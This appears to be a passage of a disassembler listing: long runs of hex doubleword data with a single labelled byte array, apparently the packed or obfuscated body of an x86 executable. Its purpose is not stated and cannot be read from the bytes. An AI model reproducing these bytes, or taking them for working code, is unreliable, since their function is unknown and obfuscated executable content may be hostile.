		dd 24448104h, 1404h, 0C3534300h, 4820F09h, 66000000h, 645ACFB9h
		dd 2589h, 0BF0F0000h, 66C48BD6h, 0CDBB84BEh, 6600EB01h
		dd 6A0E13BEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 65B2C357h, 0F155953h, 389h, 0F38B6600h
		dd 58F64h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0B601C353h, 4C4833Fh, 840FC00Bh
		dd 0C9h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	53C35343h, 56392Eh, 5353E2F8h, 0D0D289B9h, 0E85E5A0Fh
		dd 0Dh,	171CB81Bh, 52E3D057h, 4B18DED4h, 0CABF0F7Fh, 8A0F615Eh
		dd 0Bh,	5E8h, 38CD7100h, 8D5EC69Ch, 2276A4BDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0B8D2A337h, 1, 0FFD1BF0Fh, 5C8B57E7h, 838B1024h, 0B8h
		dd 140B60Fh, 8389C8FEh,	0B0h, 0B88383h,	5F020000h, 6AC3C033h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 9BEBC355h, 66F78BA3h, 0B70FCE8Bh,	0E85061D7h
		dd 0Ch,	0BA85651h, 0CA18A786h, 9EDD515Ch, 5E595E53h, 810FC08Bh
		dd 5, 0F3F18166h, 0B4BE662Ch, 0DDBD836Dh, 62208h, 0BD830975h
		dd 6220A21h, 50197400h,	0B8C08B53h, 40Eh, 0E598589h, 9D8D0622h
		dd 624C030h, 585BD3FFh,	0A21BD83h, 74000622h, 0B8535017h
		dd 40Eh, 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 6AC08BFCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 9226C356h, 880F6000h, 10h, 0AE8h,	71C47900h
		dd 42C22D49h, 5816AD03h, 61FE8B66h, 4960B966h, 8EBC28Bh
		dd 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 0F5858Bh, 858D0622h
		dd 62598EAh, 888B088Bh,	1000h, 8B660A8Bh, 8D89FC4Ah, 6254B24h
		dd 401BD83h, 0F000622h,	0F84h, 6A6000h,	307595FFh, 0E9610622h
		dd 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h, 895A04CDh
		dd 254B2085h, 24B58B06h, 0C106254Bh, 896610CEh,	0B58B0272h
		dd 6254B24h, 0FC728966h, 20858B61h, 0C306254Bh,	165D958Dh
		dd 95890622h, 6222439h,	0E19589h, 85FF0622h, 62200E1h
		dd 330985C6h, 68530622h, 0FCB148D8h, 33A9B5FFh,	858D0622h
		dd 6223AF1h, 8589D0FFh,	6223075h, 4449858Dh, 85890625h
		dd 62231BDh, 30E900EBh,	0E9000006h, 624h, 254CC568h, 36E1E906h
		dd 0EC68FFFDh, 0E906254Dh, 0FFFD36D7h, 254E7968h, 36CDE906h
		dd 2868FFFDh, 0E906254Fh, 0FFFD36C3h, 25507868h, 36B9E906h
		dd 305DFFFDh, 0C8B3FC17h, 602F107Bh, 0F28788E3h, 8DF13E49h
		dd 915357BEh, 0FE093658h, 137AC9B1h, 86E15A2Eh,	2148F399h
		dd 0BFCBA136h, 52411F77h, 0C4E864BCh, 46473A3Bh, 473A3B32h
		dd 3A3B6588h, 3BD5F947h, 457473Ah, 86473A3Bh, 0C73A3B76h
		dd 0FA493643h, 4568AA9h, 82E7004Fh, 3A3BDEEAh, 247833C7h
		dd 21A86735h, 0FEBDC918h, 53EC9C99h, 7C81F738h,	4633652Bh
		dd 525600FDh, 1188A358h, 0E40CCEAh, 857E9ECFh, 0D043D93Eh
		dd 0BDCF3AF1h, 5D408FEh, 58696F9Bh, 49BC1h, 70CBB200h
		dd 0E4632819h, 4CFB848Dh, 0B28DFC25h, 1B28565Bh, 0BDF6F6F0h
		dd 161B72D1h, 838CE764h, 0FE234AF5h, 935AB58Eh,	770256C6h
		dd 23F7411Fh, 3A0577C3h, 3B085BE9h, 60CD473Ah, 0E7602C08h
		dd 4EF9838Ch, 29ACD01Dh, 0F0BE3C48h, 7CF9826Dh,	879C2AFEh
		dd 0BDFA1F5Eh, 0B3C755CCh, 66473A29h, 0A4C71457h, 0D0A2D78h
		dd 0F84349EBh, 6C39269Fh, 6AD3E241h, 0BBE85325h, 1B3B2478h
		dd 51F2FF66h, 0A87FC6BFh, 31F5A1BFh, 3DB22E3h, 58550000h
		dd 0A5C01532h, 577A77Fh, 85BE93Ah, 0EE473A3Bh, 3D4FE503h
		dd 1760EB02h, 82D38AAEh, 0DA06C7F4h, 0E9D5E5B7h, 7538473Ah
		dd 0A8D62320h, 4C3C459Bh, 67B48FFDh, 0A5EA0544h, 2A1962D7h
		dd 2A7BBAF9h, 0F8513A2Ah, 0F5DE55h, 0BCE50C4Fh,	92677D0h
		dd 0E008E481h, 15473AB2h, 9C0C67A6h, 473AB248h,	0F5262555h
		dd 0A9F1AB90h, 4C473AB2h, 0ED2C1B6Fh, 138AC710h, 154B3D5Fh
		dd 0A6C310C3h, 11E15BDDh, 85DB28F3h, 289FD854h,	2D804918h
		dd 0BD797D5Dh, 42DDEEF5h, 374h,	3E49F29Bh, 52BD8AF1h, 0CA25226Dh
		dd 608BB4C5h, 99F04F3Fh, 0F886CF91h, 8BFF204Bh,	1C6C55BCh
		dd 0B5C7C823h, 9FF8638Ah, 1F76FD0Dh, 0AA7A1041h, 0E93A0577h
		dd 0F881B8C4h, 0AEEB0C4Fh, 0FB3065DEh, 4467B493h, 498EDF05h
		dd 3B608864h, 2695473Ah, 7CCBBFFAh, 3B23B315h, 9DA1473Ah
		dd 0A8473A4Bh, 0FC201F6Bh, 6186C5B5h, 560A22A0h, 0B2EE8684h
		dd 0AAB5D96Bh, 0CC87473Ah, 958A6287h, 7A49188Ah, 1C7D4733h
		dd 0C9DAF5BDh, 2E776h, 0C47F0E00h, 281764ADh, 90AFD0C1h
		dd 6414879h, 6FDCA2EFh,	9422204h, 62AFC685h, 0DFC02B18h
		dd 4A779EA9h, 67EEF942h, 754E9A12h, 0EFA3411Fh,	1C057737h
		dd 3A3B7880h, 0DF1E9D47h, 201B618Eh, 3DBBB4F3h,	43AA95E7h
		dd 0F3DBBEB3h, 2631B51h, 0E8030000h, 473A3BC4h,	7D94AFD9h
		dd 9EFB4434h, 81177B25h, 356B5D63h, 92ADDB10h, 0CF292641h
		dd 0F1182355h, 0F374302Dh, 628551h, 0E3300000h,	6CDBA099h
		dd 68BDFC3Fh, 6F57ADF7h, 89C89198h, 0D60B3AECh,	2C70E412h
		dd 64AB5890h, 3D066903h, 0C4F74918h, 0BDBF0032h, 0ED7C4DF5h
		dd 238h, 0FA152E5Fh, 6E79C6B5h,	86E15E21h, 3C57F099h, 55BC8BF3h
		dd 345A9355h, 0C7B3FC17h, 58201178h, 0F19B84EFh, 0A3343F56h
		dd 1F74A1C9h, 66BE5441h, 9EEB28B1h, 351A7FA5h, 60B592F8h
		dd 354D1F45h, 0D8473A3Bh, 1D6B80D5h, 0C7C8C522h, 0F63B2478h
		dd 6C68BD86h, 0D1DE2978h, 167B9CA7h, 3A3B7286h,	0C814A747h
		dd 0DF4DB287h, 473A3B8Bh, 0E8114F6Eh, 254A9BA4h, 8491F655h
		dd 0A3547F6h, 55B9AD9h,	614613DAh, 3A3B7F8Bh, 67159247h
		dd 12479DDCh, 3A3B4E9Ah, 0EF08A347h, 3361DAA2h,	8DBAC5EAh
		dd 145B1262h, 6AD9A6F3h, 87A6FA39h, 0FD4A3542h,	8AF08DA8h
		dd 691C0E1Dh, 0E0AFCA16h, 0EF2E1D6Dh, 4AF00484h, 11C2473Ah
		dd 8740A5C2h, 8E8E382Ch, 8E58842Ah, 491807ADh, 0E12E4B62h
		dd 7542AD9Ah, 0A6F75038h, 6B105987h, 0F94A8FDCh, 28577145h
		dd 0D2ABCA1Bh, 98C47B56h, 0CF1C2751h, 42018D8Ah, 638ED211h
		dd 0C2CF2817h, 0A15A8BB8h, 83538325h, 68B4F7CFh, 0D06F105Dh
		dd 45494683h, 17B81BBCh, 86B961D9h, 3BF11655h, 4118D1EFh
		dd 6375AB02h, 0E1C62370h, 18D1FF0Bh, 459B1241h,	0AA6B9814h
		dd 0F1BC4F3Ah, 9AD82B09h, 9867B0EFh, 0E8h, 0AAC57E0Fh
		dd 0DE291665h, 7691AED1h, 0EC074049h, 56CDBA3h,	840A4325h
		dd 1763ACC7h, 0A8D0C128h, 414B749Fh, 1364EF06h,	1F6B7199h
		dd 36EEA441h, 47340577h, 592F03F8h, 0D58BC981h,	602C4192h
		dd 67582E7h, 3DEF1439h,	473A2DEDh, 366AAD00h, 2147D017h
		dd 1FE87903h, 82F6CC74h, 0A8F0A059h, 4D473ADAh,	1ABA46D4h
		dd 6CAF85CDh, 3D30C22Dh, 5451F34Eh, 3F1B966Fh, 0EA3A5E43h
		dd 3A7FEE3Ah, 74A80347h, 2CA9h,	0C0CFCC00h, 1142018Dh
		dd 0B14D93D2h, 3A3BC7E8h, 85B4D847h, 0DA194AF9h, 1C197E9Bh
		dd 0F703D572h, 1A473A3Bh, 0CF024D93h, 2Bh, 2C525F37h, 1727C11Fh
		dd 22473A3Bh, 3397561h,	88D497C4h, 0C7201B61h, 99FE0AE2h
		dd 9813473Ah, 999DAD7Fh, 3D70473Ah, 5726FCE7h, 2B086h
		dd 0F34B0000h, 0E83D0677h, 5D8EB9C3h, 8EDF6810h, 0F92A1961h
		dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h,	6FBC8BF0h
		dd 5F545769h, 4C781h, 0EF830000h, 243C8704h, 5B6A685Ch
		dd 14890000h, 54136824h, 1C890000h, 6A9BBA24h, 0E2D16F86h
		dd 32CAC281h, 0BF573896h, 531562CCh, 4708EFC1h,	5B75EF81h
		dd 0E7D13DD9h, 0DF7814Fh, 29958EC8h, 8B545FFAh,	0C481241Ch
		dd 4, 66B85052h, 1113779h, 58042444h, 8108438Fh, 7966086Bh
		dd 34FF1137h, 0C4815B24h, 4, 5024148Bh,	405E089h, 83000000h
		dd 48704C0h, 0D4E95C24h, 32FFFD30h, 0F4E938B0h,	933B7E53h
		dd 0BEB7524Ch, 255185B8h, 8BC50306h, 20EBD1h, 7	dup(0)
		dd 0E9000000h, 58Ch, 580E9h, 54086800h,	88E90625h, 68FFFD30h
		dd 62554A8h, 0FD307EE9h, 566268FFh, 74E90625h, 68FFFD30h
		dd 62556E8h, 0FD306AE9h, 0C47F0EFFh, 281764ADh,	90AFD0C1h
		dd 6414879h, 6FDCA2EFh,	9422204h, 62AFC685h, 0DFC02B18h
		dd 4A779EA9h, 67EEF942h, 694E9A12h, 0EFA3411Fh,	2BE65F37h
		dd 51EFD380h, 93FC055Bh, 81D567B4h, 7FC73A61h, 1E5376F2h
		dd 0BBD1F385h, 29h, 3BC7E863h, 0FCF7473Ah, 374552B7h, 409CDF0Ch
		dd 90A9B11h, 0C6E3491Dh, 204B8AB9h, 93B0DAD7h, 66FD2342h
		dd 70h,	29525FCCh, 0C252611Ah, 51F98F20h, 0BF557903h, 0A760473Ah
		dd 336C250Ah, 0DD3F65FEh, 693A6326h, 4AA4F4A8h,	6249473Ah
		dd 919ABD99h, 0C7D4395Eh, 3F4489B2h, 3A1F5D6Dh,	0BAFDB047h
		dd 0E63A0975h, 1D2D7144h, 0C9B5C249h, 14390674h, 4EED96C9h
		dd 73C03CC4h, 9C1F0A56h, 49503E7Bh, 5B38600Ah, 61B2F545h
		dd 23772542h, 0D6411F74h, 0FC56B9E7h, 0DE3B0877h, 3B97D65h
		dd 0F02C0A1Ch, 22D7B0D5h, 8A0C343Ch, 7DD476AAh,	831173FEh
		dd 0A5EA4AAEh, 706D4FA6h, 252CA2Fh, 0EFC73AD9h,	0E5DAABCCh
		dd 0BC9FFDA4h, 2968D3B9h, 0EF9DD2EBh, 28DB3D54h, 0E859BEDBh
		dd 6F6A2B9Eh, 0D577ADD4h, 0C9186776h, 0B6C25ABFh, 5BC11866h
		dd 0A6150C50h, 712B1075h, 0C1186629h, 0E9B3E1CCh, 0C11866C5h
		dd 173ABE3Bh, 0CBD17A5Ah, 657Fh, 0AB58A700h, 78B11CDEh
		dd 744F3413h, 4CADECF8h, 1D00A3D0h, 0C0199449h,	870C9B3h
		dd 8CCFEE3Fh, 0F7503C65h, 0BA6F7603h, 57AAFBF5h, 318h
		dd 0DA350E7Fh, 4E99A6D5h, 0E6013E41h, 1C77D0B9h, 0B5DC6B13h
		dd 147AB3B5h, 0A7D3DC37h, 38407198h, 0D1BBE40Fh, 83D41F76h
		dd 1F6FC1E9h, 869E3441h, 2E3A5h, 0E65F8900h, 0F17B8083h
		dd 0D77407EEh, 5E214894h, 0DCE0BCE1h, 5E473AC2h, 473AC28Eh
		dd 3AC2F90Ch, 0C2297D47h, 9BAB473Ah, 19473AC2h,	873AC2F5h
		dd 0A2C70CC7h, 0C01C2755h, 1C6FAC91h, 9357F12Fh, 5E891DC0h
		dd 0C61A2951h, 9B1A6E4Bh, 65F7536Dh, 0B4A8D83h,	7AC9BADAh
		dd 359C8F1Dh, 3A718F3Dh, 98ABB74Ch, 0AAB5862Fh,	278h, 7A95AEDFh
		dd 0EEF94635h, 661DEA1h, 0BCD77019h, 0D53C0B73h, 0B4DA13D5h
		dd 47337C97h, 0D8A091F8h, 711B046Fh, 23B4BFD6h,	1F6F2149h
		dd 0E63ED441h, 96A27A5Fh, 8B473A3Bh, 0D4174403h, 8954FA6Bh
		dd 0EBFC7DCCh, 3F4D74A8h, 4DB2D704h, 3A3E8BDFh,	0A4562A47h
		dd 0A651ECAEh, 8CCE1299h, 0BD6F88D7h, 491DD34Ch, 0BAE70EADh
		dd 3A1F76D5h, 6FB592FDh, 0DD0E3D42h, 12137BB8h,	1C174E9Ah
		dd 0C908A341h, 0D13B5984h, 7FBCDD22h, 0EDEC300Fh, 3B25C23Fh
		dd 41C2334Fh, 315F714Ch, 13A428Fh, 375E91DCh, 71004195h
		dd 3380734Bh, 321F46D6h, 0AD004556h, 23D4F4Ch, 63D6A6EBh
		dd 0BEFD2E19h, 0E4A91A7Fh, 74422285h, 0E3B1D408h, 554A47C3h
		dd 7C9DE291h, 6D75A1A0h, 9EFBB25Bh, 3950EB91h, 6ABB8408h
		dd 0AFF49ADAh, 0D24AAF5Fh, 5FAFF486h, 0FA1C406Bh, 0CF5DBA09h
		dd 5188C692h, 4A9E0E83h, 5F598119h, 88231C2Bh, 99E33049h
		dd 3F4C49AEh, 8EB3DC00h, 0F31045FEh, 8669A212h,	0D90449F2h
		dd 9840CE1Ch, 12611244h, 74D3B8F5h, 0B9D80427h,	0A64092E3h
		dd 2256A357h, 6F4EFB19h, 0A05E6E3Eh, 39A063DAh,	40D588BFh
		dd 0EF2C2D13h, 0D273A19Ah, 0Ch,	4EC4E878h, 70B473Ah, 0FB000000h
		dd 3A51C4E8h, 0AB584C47h, 4EDE0364h, 473A3B3Ah,	3B459507h
		dd 5A8473Ah, 2E23713Ch,	1D090B7Eh, 0A8C1EC49h, 44F18243h
		dd 0F0D36C41h, 1F651820h, 59BEFD41h, 1F65B7C3h,	0D535A41h
		dd 0E6B69BF8h, 411F65D2h, 2E287447h, 1389EE35h,	4F3D16E0h
		dd 0D9986E4Dh, 44EF9849h, 0BEF44Bh, 68150000h, 8BB4DFh
		dd 98E72843h, 2A5F40ABh, 0C5C9F611h, 591B6F86h,	0B6D16E10h
		dd 2B420189h, 5EA992E6h, 0F9102B51h, 67B3690Eh,	8A411F6Dh
		dd 0E65F5CC4h, 0DB8C19ECh, 4597CD97h, 82D2FB8Eh, 4A7924Ch
		dd 81C8A4C5h, 0AA491D3Bh, 0F22E1D6Dh, 25277447h, 0A388E12Eh
		dd 0FE4D317Eh, 1FBF1A2Eh, 60BCFF41h, 3D9871C6h,	1205FE4Fh
		dd 0F292A87Eh, 29712B4Ch, 0CC4B7DC0h, 3786B3E1h, 97C09843h
		dd 0B5B485EFh, 38h, 3A55EE9Fh, 0AEB986F5h, 0C6211E61h
		dd 7C97B0D9h, 95FC4B33h, 0F49AD395h, 87F33C57h,	186051B8h
		dd 0B1DBC42Fh, 0E3F47F96h, 1F6DE109h, 0A67E1441h, 3A5h
		dd 73CB8900h, 0E83D0677h, 5D8EB9C3h, 8EDF6810h,	0F92A1961h
		dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h,	6FBC8BF0h
		dd 0E7895769h, 4C781h, 0EF830000h, 243C8704h, 242C895Ch
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 8952240Ch
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2414895Ch, 25527968h
		dd 240C8B06h, 4C481h, 8B540000h, 0C4832414h, 7F986804h
		dd 0C890000h, 8428F24h,	5724148Bh, 0C781E789h, 4, 4C781h
		dd 3C870000h, 34FF5C24h, 0C4815924h, 4,	0FD2B1AE9h, 8680BBFFh
		dd 0BB92639Eh, 5745B8A4h, 0C5030625h, 51E9C88Bh, 60000000h
		dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h,	66000000h
		dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h,	8F0F0C7Ah
		dd 15h,	8B28EA83h
		db 42h
byte_530055	db 0Ch,	8Bh, 4Ah	; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h
		dd 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 152E900h, 0CD680000h
		dd 0ECE73774h, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh
		dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh
		dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h
		dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h
		dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h
		dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h
		dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h
		dd 38AEh, 3C00h, 4000h,	2 dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 26h dup(0)
		dd 1F28E9h, 5C0F6800h, 48E90625h, 68FFFD29h, 6255CCAh
		dd 0FD293EE9h, 5DA868FFh, 34E90625h, 68FFFD29h,	6255E50h
		dd 0FD292AE9h, 5F1768FFh, 20E90625h, 68FFFD29h,	6255FD5h
		dd 0FD2916E9h, 60B368FFh, 0CE90625h, 68FFFD29h,	625615Fh
		dd 0FD2902E9h, 651368FFh, 0F8E90625h, 68FFFD28h, 625657Bh
		dd 0FD28EEE9h, 669568FFh, 0E4E90625h, 68FFFD28h, 62569B2h
		dd 0FD28DAE9h, 6CFB68FFh, 0D0E90625h, 68FFFD28h, 6257041h
		dd 0FD28C6E9h, 71A168FFh, 0BCE90625h, 68FFFD28h, 6257222h
		dd 0FD28B2E9h, 727268FFh, 0A8E90625h, 68FFFD28h, 62572CCh
		dd 0FD289EE9h, 748B68FFh, 94E90625h, 68FFFD28h,	6257577h
		dd 0FD288AE9h, 776868FFh, 80E90625h, 14FFFD28h,	8AB7DE69h
		dd 0E62B4201h, 5E43AA99h, 0C8F9102Bh, 186E79C6h, 0D06F1F58h
		dd 450288B9h, 0A893E52Ah, 132C5041h, 0B46871F8h, 411F6164h
		dd 5F5DC589h, 0CE1F2C52h, 2F1C62AFh, 5861BFFEh,	2B7F2D34h
		dd 0CE473A3Bh, 0FA4BACEFh, 0B61EC786h, 35508C9Ch, 40AB94F8h
		dd 4A328370h, 7DBC8BFFh, 0E04FDD3Ah, 0B54918E5h, 0E894E106h
		dd 0B1EF0E5Fh, 94B4D894h, 0DFA94118h, 5AD23764h, 4118940Eh
		dd 0F587C8E3h, 64C9194Ah, 0AF022E04h, 89A5D1D6h, 0DF80F842h
		dd 3814E10Bh, 67C21E73h, 5A93CE01h, 4D264BD1h, 51000000h
		dd 0F34327F0h, 0F92C7862h, 48D6AFA4h, 0DF4DAAD7h, 4118648Bh
		dd 7D114F6Eh, 364AB58h,	18416669h, 0B7E4D749h, 1831D1E5h
		dd 46A22F41h, 78C3C9C6h, 0D17DF024h, 33944BD1h,	43346DDAh
		dd 2118E584h, 714145E0h, 0F5B69FC5h, 9C000000h,	0DD3A0577h
		dd 4E9FA8D0h, 87D4F12Fh, 0D61B48F7h, 177C9DA6h,	0DDA2ADAEh
		dd 8C5C5B08h, 473ADF7Ch, 0DC6B1491h, 0F72D6C8Fh, 0D04CB1D6h
		dd 473ADF88h, 0D7124E6Dh, 0E5E894A5h, 2487C5F9h, 0B8ED2C45h
		dd 71D33A7Dh, 473A7A6Ch, 5DB48FFDh, 0CE1F2854h,	0A0C8A489h
		dd 55473A6Ah, 0F7242368h, 2D2F75B4h, 1C90E936h,	491801F3h
		dd 2636515Ch, 0A4A3E82Dh, 94F53477h, 3CC03F18h,	0BBC3E04Fh
		dd 0D31C5F8Ch, 3E5B9AA5h, 72BF88F1h, 0CCEF3C07h, 4A344190h
		dd 0E5B79CFDh, 4B7D17D5h, 2B78C7C8h, 0CAA23708h, 4B7D17BEh
		dd 0FB195853h, 56E79798h, 11D91823h, 0EF9894A4h, 6011829h
		dd 7800001Ch, 0DEC32A15h, 4A779EADh, 0A2EF0645h, 1C056CD7h
		dd 4CBAD572h, 2C1B63ACh, 91AEDCC5h, 43F4976h, 6FD8A4EDh
		dd 0E0BCDD04h, 411F67D8h, 7789993Dh, 0E0D13807h, 0D248A39Ch
		dd 336EE65Fh, 0FBD2090Eh, 73C0B3A5h, 1D558616h,	0F3BA4918h
		dd 54EF9996h, 6DB8E407h, 185D8FDFh, 70887141h, 0D1762459h
		dd 9CB14Bh, 77990000h, 0C4E93A05h, 0EE137BAh, 0E3A4473Bh
		dd 0DCA173A0h, 4D473A19h, 0A4ED043Fh, 0DE3E6FD8h, 0E3B9DE25h
		dd 491863E8h, 211E60ADh, 1C7746F3h, 9FF8473Ch, 3CE1410Dh
		dd 7807144Fh, 55B9ACBh,	4B48A10Ch, 0A4ED0443h, 269D6DDAh
		dd 0B7EF98B5h, 1B4B9B66h, 0D0BD0000h, 68131C77h, 8FB0DBh
		dd 92E72843h, 2D515EA9h, 0F1F3F71Eh, 1E69D6B8h,	0B3DA6911h
		dd 2641FA8Eh, 41A893F9h, 1F2BC196h, 0F2411F67h,	7A5FC45Ch
		dd 0A0F5523Dh, 3B87D385h, 436A473Ah, 9DAAD41Dh,	43F4D72h
		dd 57731EDh, 0B8C4E93Ah, 4E9F648Fh, 59BE05FEh, 45839374h
		dd 28DBBCCDh, 4E0952F4h, 0C92E4918h, 18A20753h,	2E7A3241h
		dd 0C34118A2h, 386457E8h, 0EDC8AA01h, 0A2C41488h, 82294118h
		dd 44848C5Eh, 9D56D4E1h, 98E43156h, 0E13F7EAFh,	20433CF0h
		dd 1AC8BA9h, 7CC3B0DCh,	0D8E811Bh, 0EE5781CBh, 3A6B5FA3h
		dd 0F7227E7Dh, 0FEE2A3C4h, 0E189F6DBh, 176475ABh, 0C4BDDA65h
		dd 1C8D13B1h, 8BD408D3h, 0F68BD5AEh, 0F3668B51h, 4FF884ADh
		dd 0EA51FABBh, 0CB56672Ch, 1A6Dh, 7A95AEDFh, 0EEF94635h
		dd 661DEA1h, 0BCD77019h, 0D53C0B73h, 0B4DA13D5h, 47337C97h
		dd 0D8A091F8h, 711B046Fh, 23B4BFD6h, 1F662149h,	0E63ED441h
		dd 0E93A0577h, 4EABF8EBh, 18386DDEh, 95299A49h,	0D74F31Dh
		dd 0EAC178A4h, 9DEF3A83h, 0AC4099E6h, 4F3A3F93h, 0A4FCE3A4h
		dd 404622F6h, 90CC7B0Fh, 0A2701299h, 85EDDC17h,	82E72C27h
		dd 0E63A0975h, 2B358EF3h, 7FD715Fh, 0AE29F321h,	9F9AEEBAh
		dd 0D0BEFB1Ch, 0DD032273h, 48974C88h, 0F7DA7D2Fh, 0F8B39300h
		dd 51EA929Fh, 0B8830936h, 0A4BF65CEh, 58A7F01Bh, 19C5h
		dd 82ED5627h, 3651EE9Dh, 0AEB98609h, 0C42F1861h, 7D94B3DBh
		dd 5C226B0Dh, 0EF9B84EFh, 80083950h, 1963ACC7h,	7B1CC72Eh
		dd 1F6599A1h, 4ED67C41h, 0DD3A0577h, 848EF864h,	33462C4Eh
		dd 728BC908h, 0F5126112h, 8CCC1C90h, 8A21473Ah,	6E690356h
		dd 0DF4918AEh, 1028B5DCh, 7D9AE99Ah, 3AF194AFh,	9814794Fh
		dd 4B7F3770h, 0B2D716A5h, 0DD1BF7D1h, 0DC00BFB4h, 0F90C6A38h
		dd 29DABEE7h, 74EFBDDAh, 0D9E1F62Ah, 1C7013F4h,	0F6E0A4E2h
		dd 2AD01226h, 0D5AD43E8h, 8F268387h, 6BB8FBB2h,	0D4357A69h
		dd 81FC758h, 4E5FC8E6h,	0C3B91859h, 754EF99h, 562A5E4h
		dd 50BB8408h, 54221D6Fh, 46ACF5C1h, 0FEFC435Ch,	60000018h
		dd 0C6CB221Dh, 327F96B5h, 0AA97FE4Dh, 40D64DFh,	44A2CD7Ah
		dd 24236BA4h, 89B6C4CDh, 0FC47317Eh, 67E0AC95h,	0F8B4C50Ch
		dd 411F64D0h, 5F919145h, 0CF0483E6h, 1C5F8CBBh,	0A0426067h
		dd 0FC47357Ch, 69B6ADAFh, 0D1A79C10h, 3884918h,	18D04169h
		dd 0C6F9B441h, 0A426C6AFh, 950760AFh, 4F3AC34Ah, 0B883F6B3h
		dd 0AB1CF26Bh, 8F1569F4h, 0BB690D4Ch, 9FBDB885h, 1673C0B3h
		dd 0AF98E431h, 0FB2CD771h, 9A11409Fh, 0B580B49h, 361D3EEEh
		dd 0B5F246B2h, 0A297AC9h, 1B61AECBh, 0A3A0EF20h, 6D1F1C7Dh
		dd 515EBBD2h, 12EFA627h, 46D54A0Fh, 0EC90D907h,	0E268A753h
		dd 0A4F5E612h, 1840A5h,	60DBA200h, 0D4731809h, 3C0B74BDh
		dd 0A29DECD5h, 0B38464Bh, 0ADE686E0h, 60B62E1h,	73BCD774h
		dd 0EED33A05h, 834AA59Eh, 641226F6h, 5307411Fh,	3A0577D3h
		dd 0ABF8EBE9h, 4091DE4Eh, 37864918h, 25AA77DCh,	4B98A7E8h
		dd 0F1E2F428h, 1D6CDDACh, 47A0E322h, 3A248AD5h,	0D646AB4Fh
		dd 4B7E0482h, 2AD0E833h, 0E956B994h, 0F9E008E4h, 0A6154B7Eh
		dd 0AD003967h, 0A6C85BC9h, 897AB9C6h, 0DC6B1F1Ch, 3781FC0Ch
		dd 753C9E7h, 0EAE73781h, 0FC3F7EC3h, 1079B69Bh,	15C7E637h
		dd 0E73781C5h, 5A8BB4D8h, 4997261Bh, 2EFE2308h,	0E737811Ah
		dd 0C660BCFFh, 0E915921Dh, 1A7AAB02h, 2FFD1A69h, 0EF37DFECh
		dd 0ABE84839h, 0F338A5DCh, 203974ADh, 779EA9D3h, 71F9424Ah
		dd 4F8D0008h, 62C54455h, 0C4000017h, 3A678EB9h,	969BF251h
		dd 0E335AE9h, 78A9C07Bh, 0E8DE2916h, 80BFCF08h,	0F5523869h
		dd 58E3959Ah, 0C37C0031h, 44D8A1A8h, 411F5B34h,	77ED35D9h
		dd 0EBE93A05h, 0DE4EABF8h, 491D136Dh, 0BE01299Ah, 0BCE0707h
		dd 38515CD5h, 5FB691FBh, 7387157Ah, 0A6411F6Dh,	7B3FC917h
		dd 41411F6Dh, 153DF28Fh, 8D5929D5h, 8EFE234Ah, 897A5AB5h
		dd 87F74634h, 9486BB8h,	4CDC99C4h, 8CC5203Eh, 0CA2F488Bh
		dd 5283BCCDh, 83BCD13h,	0E54F3887h, 1764B1D6h, 0ABD0C128h
		dd 5A224F9Ch, 63AC9BEFh, 1E92817h, 0EF94D3EEh, 0B6D32E7Fh
		dd 28000016h, 8EB3DA65h, 0FA274EFDh, 525FB695h,	0CCF51C27h
		dd 1C6A85C2h, 0DC6B135Ch, 41FE8CB5h, 0B48FF926h, 1F28545Dh
		dd 0B06C0DF4h, 411F5A68h
		dd 5859C98Dh, 0DE0364ABh, 3A3B3A4Eh, 80DCDF47h,	1368DB51h
		dd 7645491Dh, 0C1780411h, 204B8AB9h, 0EE3AF2D7h, 3411F62h
		dd 6E6274A8h, 0A2AC227h, 7411F62h, 82D567B4h, 78411F62h
		dd 1D5077F1h, 0B84BCE7Fh, 5Eh, 49E65F66h, 3859310Eh, 0C3BDDF05h
		dd 0D1361B7Ch, 12F18670h, 4A1A9D30h, 473A1E3Eh,	0E284D8D3h
		dd 473A1EDAh, 5DE6929Fh, 87DD6A14h, 95F2238Ah, 1448F798h
		dd 3A1E2272h, 0D315DC47h, 0F3B2C1BCh, 181451h, 72BF0000h
		dd 4DE13F0Ch, 3A3BC7E8h, 0B7FCF747h, 1709DA52h,	0D7E64918h
		dd 0AB58E6BCh, 86F60364h, 0B04D68BDh, 63923D86h, 0C60B494Ah
		dd 18927156h, 6576649h,	7F98A3E9h, 0ADFE4D32h, 31528Eh
		dd 7592C37Ch, 0F43C38Ch, 0E1AEE4B0h, 0B4FD2362h, 3287DCAh
		dd 559ACB78h, 0A8CF1C27h, 17E549AFh, 0F6869EDAh, 9BEF2C4Dh
